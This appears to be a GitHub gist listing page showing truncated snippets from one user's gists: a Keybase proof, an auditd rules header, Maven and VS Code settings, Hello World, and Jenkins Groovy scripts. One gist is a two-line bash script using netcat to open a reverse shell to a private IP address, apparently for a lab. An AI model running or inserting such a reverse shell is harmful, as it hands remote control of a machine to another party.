I hereby claim:
- I am rmkanda on github.
- I am rmkanda (https://keybase.io/rmkanda) on keybase.
- I have a public key ASBLx2U1h1jfkBzKLtVKy4YOaHWZcdrefK5sZF-HC7YlPwo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
# IMPORTANT! | |
# This gist has been transformed into a github repo | |
# You can find the most recent version there: | |
# https://github.com/Neo23x0/auditd | |
# ___ ___ __ __ | |
# / | __ ______/ (_) /_____/ / | |
# / /| |/ / / / __ / / __/ __ / | |
# / ___ / /_/ / /_/ / / /_/ /_/ / | |
# /_/ |_\__,_/\__,_/_/\__/\__,_/ |
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 | |
https://maven.apache.org/xsd/settings-1.0.0.xsd"> | |
<servers> | |
<server> | |
<id>lenovo-auto-delete-maven-local</id> | |
<username>LOGIN_NAME</username> | |
<password>LOGIN_PASS</password> | |
</server> |
{ | |
"window.zoomLevel": 2, | |
"javascript.updateImportsOnFileMove.enabled": "always", | |
"editor.formatOnSave": true, | |
"files.autoSave": "afterDelay", | |
"files.autoSaveDelay": 500, | |
"editor.fontSize": 17, | |
"editor.rulers": [ | |
{ | |
"column": 80, |
#!/bin/bash | |
nc -e /bin/bash 192.168.0.101 3131 |
class HelloWorld { | |
public static void main( String []args ) { | |
System.out.println( "Hello World!" ); | |
} | |
} |
## Option #1 - List | |
def plugins = jenkins.model.Jenkins.instance.getPluginManager().getPlugins() | |
plugins.each {println "${it.getShortName()}: ${it.getVersion()}"} | |
## Option #2 - Graph | |
def plugins = jenkins.model.Jenkins.instance.getPluginManager().getPlugins() | |
println "digraph test {" | |
plugins.each { | |
def plugin = it.getShortName() | |
println "\"${plugin}\";" |
node { | |
echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1' | |
echo 'No quotes, pipeline command in single quotes' | |
sh 'echo $BUILD_NUMBER' // 1 | |
echo 'Double quotes are silently dropped' | |
sh 'echo "$BUILD_NUMBER"' // 1 | |
echo 'Even escaped with a single backslash they are dropped' | |
sh 'echo \"$BUILD_NUMBER\"' // 1 | |
echo 'Using two backslashes, the quotes are preserved' | |
sh 'echo \\"$BUILD_NUMBER\\"' // "1" |
def changeLogSets = currentBuild.changeSets | |
for (int i = 0; i < changeLogSets.size(); i++) { | |
println changeLogSets[i].kind | |
def entries = changeLogSets[i].items | |
for (int j = 0; j < entries.length; j++) { | |
def entry = entries[j] | |
echo "${entry.commitId} by ${entry.author} on ${new Date(entry.timestamp)}: ${entry.msg}" | |
} | |
} |
def getChangeLogSize() { | |
def allChangeSets = currentBuild.changeSets | |
if (allChangeSets && !allChangeSets.size()>0) | |
{ | |
if (allChangeSets[0].items && allChangeSets[0].items.size()>0) | |
{ | |
return allChangeSets[0].items.size() | |
} | |
} | |
return 0 |